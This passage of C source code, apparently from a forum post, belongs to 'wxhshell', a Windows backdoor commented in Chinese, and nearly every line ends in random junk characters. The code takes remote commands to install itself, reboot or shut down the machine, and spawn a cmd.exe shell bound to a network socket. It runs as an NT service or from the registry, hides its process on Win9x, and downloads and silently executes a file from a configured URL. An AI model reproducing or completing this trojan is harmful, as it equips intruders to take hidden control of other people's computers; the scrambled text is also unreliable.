    switch(cmd[0]) { mG@Q}Y(  
  bY>o%LL-  
  // 帮助 2s{yg%U(  
  case '?': { Pucf0 #  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *q0N$}k  
    break; ldX]A#d.  
  } J)fS2Ni+  
  // 安装 D9LwYftZ  
  case 'i': { Xj/ X.  
    if(Install()) >Le mTr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dea;9O  
    else F'#3wCzt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . t3@86xTJ  
    break; Sej$x)Q\t  
    } ;OKQP~^iH2  
  // 卸载 ,Xh4(Gn#b  
  case 'r': { d=5D 9' +  
    if(Uninstall()) Zh(f2urKV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0E ;4r  
    else |;_ yAL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1QN]9R0`#7  
    break; W.67, 0m$  
    } ^2??]R&Q  
  // 显示 wxhshell 所在路径 Xl aNR+  
  case 'p': { ]52_p[hZ}<  
    char svExeFile[MAX_PATH]; B\=&v8  
    strcpy(svExeFile,"\n\r"); cKfYkJ)A'  
      strcat(svExeFile,ExeFile); m|7g{vHVV  
        send(wsh,svExeFile,strlen(svExeFile),0); NFSPw` f  
    break; u51/B:+   
    } hNoN=J  
  // 重启 ^Ue.9#9T&g  
  case 'b': { Ci*5E$+\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~*[}O)7#  
    if(Boot(REBOOT)) NPc%}V&C(u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wk/->Rz  
    else { u3ZG;ykM  
    closesocket(wsh); xxiLi46/  
    ExitThread(0); 'RA[_Z  
    } e!-'O0-Kw  
    break; HIU@m<  
    } |-|BM'Y  
  // 关机 A |&EI-In  
  case 'd': { VC+\RB#:-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;|^fAc~9{r  
    if(Boot(SHUTDOWN)) *@ o3{0[Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1=D!C lcb  
    else { lR(&Wc\j  
    closesocket(wsh); ?SAi t Q3  
    ExitThread(0); fBF}-{VX(  
    } vK{K#{  
    break; "_l[4o[D  
    } )} #r"!  
  // 获取shell ]d[q:N]z  
  case 's': { +|?c_vD  
    CmdShell(wsh); |s^ar8)=)  
    closesocket(wsh); vLke,MKW  
    ExitThread(0); fU}w81oe  
    break; kp$ILZ  
  } #X8[g_d/  
  // 退出 TXaXJIp  
  case 'x': { 4|e#b(!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B';Ob  
    CloseIt(wsh); ]@P*&FRcZ  
    break; DEs?xl]zO  
    } /{U{smtdFl  
  // 离开 `WB|h)Y  
  case 'q': { l>iU Q&V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 96.Wfx  
    closesocket(wsh); <#Lw.;(U;k  
    WSACleanup(); h>/ViB@"W|  
    exit(1); vuZ<'?Nm  
    break; L~$RF {$  
        } oN$ZZk R  
  } (NQ[AypMI  
  } mOB\ `&h5  
Lv4=-mWv&0  
  // 提示信息 <(MFEIt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &zp5do;m  
} 3u^TJt)  
  } (wfg84  
^ \?9W  
  return; EyeLC6u  
} qWFg~s#+  
vy#(|[pL{  
// shell模块句柄 M<)2  
int CmdShell(SOCKET sock) p(G?  
{ uS'ji k}  
STARTUPINFO si; %)D7Dr  
ZeroMemory(&si,sizeof(si)); fUL"fMoU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f3>/6 C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,2`d3u^CW  
PROCESS_INFORMATION ProcessInfo; "Pc,+>vh  
char cmdline[]="cmd"; W24bO|>D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~roHnJ>  
  return 0; k +Oq$Pi  
} z!+<m<  
q T].,?  
// 自身启动模式 `9+EhP$RS  
int StartFromService(void) -?RQ%Ue  
{ s]iOC6v  
typedef struct @_Zx'mTI  
{ CA4-&O"  
  DWORD ExitStatus; o^?{j*)g  
  DWORD PebBaseAddress; zEW:Xe)  
  DWORD AffinityMask; fq|2E&&v  
  DWORD BasePriority; _&/Zab5  
  ULONG UniqueProcessId; Z@ kC28  
  ULONG InheritedFromUniqueProcessId; mTfMuPPs[  
}   PROCESS_BASIC_INFORMATION; uFm-HR@4  
"{_"Nj H  
PROCNTQSIP NtQueryInformationProcess; ^H4i Hjg  
A 5 X+Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $<4Ar*i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DBUwf1=qj  
mz*z1`\7v\  
  HANDLE             hProcess; X$9QW3.M  
  PROCESS_BASIC_INFORMATION pbi; ~@8d[Tb  
C=IH#E=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?C:fP`j:  
  if(NULL == hInst ) return 0; kA4ei  
~@D%qbN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6bcrPf}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WDdi}i>2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E/ZJ\@gzD  
]eW|}V7A:  
  if (!NtQueryInformationProcess) return 0; 1Ol]^ 'y7)  
ugB{2oqi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i =N\[&  
  if(!hProcess) return 0; [bG>qe1}&  
$O'2oeM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *fSM'q;  
%j">&U.[  
  CloseHandle(hProcess); "yTh +=  
a*j <TR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j9}0jC2Tb  
if(hProcess==NULL) return 0; NE3wui1 V  
p*,P%tX  
HMODULE hMod; :XSc#H4  
char procName[255]; RRqMwy>%  
unsigned long cbNeeded; _}@n_E  
?(q*U!=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rx>Tc#g  
49oW 'j  
  CloseHandle(hProcess); 2^6TrZA7M6  
(QSWb>np  
if(strstr(procName,"services")) return 1; // 以服务启动 ?d<:V.1U@  
GB?#1|,  
  return 0; // 注册表启动 \GvY`kt3  
} AvE^ F1  
8(5E<&JP  
// 主模块 cqY.^f.  
int StartWxhshell(LPSTR lpCmdLine) xm|4\H&Bg  
{ yH%+cmp7  
  SOCKET wsl; lE)rRG+JLW  
BOOL val=TRUE; ]HV~xD7\  
  int port=0; eCIRt/ uA  
  struct sockaddr_in door; npcBpGL{  
D?}m h1#  
  if(wscfg.ws_autoins) Install(); yvWzc uL#  
=9 M|o0aY  
port=atoi(lpCmdLine); +?Jk@lE<  
gAA %x 7  
if(port<=0) port=wscfg.ws_port; ;"Y;l=9_  
hlFU"u_  
  WSADATA data; R}wwC[{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cw[Od"B\?U  
#A/J^Ko  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tH,K\v`f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3Ge<G  
  door.sin_family = AF_INET; AKKU-5 B9c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o|qeh<2=x  
  door.sin_port = htons(port); U.Chf9a -  
*OOa)P{^D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .8qzU47E  
closesocket(wsl); h0 GdFWN  
return 1; /P!X4~sTM  
} wYQ1Z  
9Ir~X|}\iL  
  if(listen(wsl,2) == INVALID_SOCKET) { y- <PsP-I  
closesocket(wsl); B:- KZuO  
return 1; |369@un6  
} O\?5#.   
  Wxhshell(wsl); vQYfoam;  
  WSACleanup(); ;}eEG{`Y  
A,lw-(.z4Z  
return 0; ss`q{ARb  
k;fnC+Y$s  
} YY:iPaGO  
wAYzR$i  
// 以NT服务方式启动 im \ YL<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a&s"# j  
{ QE#-A@c  
DWORD   status = 0; ( X 'FQ  
  DWORD   specificError = 0xfffffff; B`Or#G3ph  
lv\F+?]a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +?j?|G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fteyG$-s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i[ Gw 7'f  
  serviceStatus.dwWin32ExitCode     = 0; !v5sWVVR  
  serviceStatus.dwServiceSpecificExitCode = 0; 86[RH!e  
  serviceStatus.dwCheckPoint       = 0; m{lRFKx>s  
  serviceStatus.dwWaitHint       = 0; 1x\W52 1  
&Qq/Xi,bZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VJl &Bq+  
  if (hServiceStatusHandle==0) return; /2_B$  
Sa[EnC  
status = GetLastError(); =>:% n  
  if (status!=NO_ERROR) C`)^~C_]`3  
{ N t>HztXd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P96Cw~<Q?  
    serviceStatus.dwCheckPoint       = 0; `z$uw  
    serviceStatus.dwWaitHint       = 0; v;bM.OL  
    serviceStatus.dwWin32ExitCode     = status; -Ty<9(~S  
    serviceStatus.dwServiceSpecificExitCode = specificError; qN1e{T8u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \9>g;qPg}  
    return; _yxe2[TD  
  } J"D&q  
nXM9Px!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]O[+c*|w  
  serviceStatus.dwCheckPoint       = 0; Q_dXRBv=n  
  serviceStatus.dwWaitHint       = 0; 9!O+Ryy?\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KF:]4`$  
} lk*0c {_L  
{m+S{dWp  
// 处理NT服务事件,比如:启动、停止 "]SJbuzh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %|`:5s-T%  
{ $dx1[ V+_  
switch(fdwControl) 6z p@#vYI  
{ 6"7:44O;G  
case SERVICE_CONTROL_STOP: (!_X:+0_  
  serviceStatus.dwWin32ExitCode = 0; r>@ B+Xi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P,$ [|)[E  
  serviceStatus.dwCheckPoint   = 0; PtRj9TT  
  serviceStatus.dwWaitHint     = 0; 1%SJ1oY  
  { |~/3u/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^^4K/XBve  
  } W;OYO  
  return; Jm]]>K8.3V  
case SERVICE_CONTROL_PAUSE: [.#p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f gK2.;>  
  break; bG5^h  
case SERVICE_CONTROL_CONTINUE: EBj,pk5M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8"?Vcw&  
  break; Sg CqxFii  
case SERVICE_CONTROL_INTERROGATE: q(ZB.  
  break; RR~sEUCo{  
}; w L/p.@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k Z+q  
} zH=/.31Q  
-+ ]T77r  
// 标准应用程序主函数 jlRl2 #"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,yHzo  
{ xP{HjONu  
{*M>X}voS  
// 获取操作系统版本 `eMrP`  
OsIsNt=GetOsVer(); 1BMV=_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tf$PaA  
H7z>S G0  
  // 从命令行安装 AQnJxIL:  
  if(strpbrk(lpCmdLine,"iI")) Install(); B%%.@[o,  
<?> I\  
  // 下载执行文件 ny!lj a5[  
if(wscfg.ws_downexe) { SQdz EF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <t?x 'r?@  
  WinExec(wscfg.ws_filenam,SW_HIDE); IKMs Y5i  
} 36kc4=  
dT0^-XSY  
if(!OsIsNt) { vWqyZ-p,q  
// 如果时win9x,隐藏进程并且设置为注册表启动 vI pO/m.3  
HideProc(); 3t"~F%4-}  
StartWxhshell(lpCmdLine); nR,Qm=;  
} @7Q*h   
else RMS.1:O  
  if(StartFromService()) 3JlC/v#0  
  // 以服务方式启动 T=eT^?v  
  StartServiceCtrlDispatcher(DispatchTable); ?VMi!-POE  
else G zJ9N`  
  // 普通方式启动 {+@ms$z  
  StartWxhshell(lpCmdLine); q5:0&:m$4$  
wo7N7R5  
return 0; AI^AK0.L  
}
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只看该作者 1 发表于: 2006-10-10
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